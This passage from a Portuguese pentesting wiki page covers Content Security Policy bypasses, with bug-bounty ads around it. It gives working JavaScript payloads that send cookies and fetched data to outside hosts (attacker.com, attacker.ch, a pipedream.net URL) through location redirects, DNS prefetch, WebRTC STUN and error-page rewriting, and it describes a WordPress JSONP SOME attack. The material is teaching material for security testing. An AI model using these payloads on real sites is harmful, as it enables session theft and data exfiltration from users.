Quando você conhece os caracteres que podem compor o subdomínio secreto, também pode usar uma busca binária e verificar quando o CSP bloqueou o recurso e quando não, criando diferentes domínios proibidos no CSP (neste caso, o segredo pode estar na forma doc-X-XXXX.secdrivencontent.dev)
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Truque da [**qui**](https://ctftime.org/writeup/29310).

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof é o lar de todas as recompensas por bugs de criptografia.**

**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa depois que o bug for verificado.

**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

**Torne-se a lenda dos hackers web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

[**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

## Tecnologias inseguras para burlar CSP

### Sobrecarga do buffer de resposta do PHP

O PHP é conhecido por **armazenar em buffer a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.

Idea de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).

### Reescrever a página de erro

De [**este writeup**](https://blog.ssrf.kr/69) parece que foi possível burlar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
```
### SOME + 'self' + wordpress

SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem**. Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}

Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).

Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** por meio do **endpoint de retorno de chamada** vulnerável que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)

## Bypasses de Exfiltração CSP

Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.

### Location

Você pode simplesmente atualizar a localização para enviar ao servidor do atacante as informações secretas:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
```
### Meta tag

Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não irá vazar conteúdo)
```html
<meta http-equiv="refresh" content="1; http://attacker.com">
```
### DNS Prefetch

Para carregar páginas mais rapidamente, os navegadores pré-resolvem os nomes de host em endereços IP e os armazenam em cache para uso posterior.\
Você pode indicar a um navegador para pré-resolver um nome de host usando: `<link reol="dns-prefetch" href="something.com">`

Você pode abusar desse comportamento para **extrair informações sensíveis por meio de solicitações DNS**:
```javascript
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
```
Outra maneira:
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
Aparentemente, essa técnica não funciona em navegadores sem interface (bots)
{% endhint %}

### WebRTC

Em várias páginas, você pode ler que o **WebRTC não verifica a política `connect-src`** do CSP.

Na verdade, você pode *vazar* informações usando uma *solicitação DNS*. Confira este código:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
## Verificando Políticas de CSP Online

* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
* [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)

## Criando CSP Automaticamente

[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)

## Referências

* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
* [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)

​

<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof é o lar de todas as recompensas por bugs de criptografia.**

**Seja recompensado sem atrasos**\
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.

**Adquira experiência em pentesting web3**\
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.

**Torne-se a lenda do hacker web3**\
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.

[**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks!

{% embed url="https://hackenproof.com/register" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>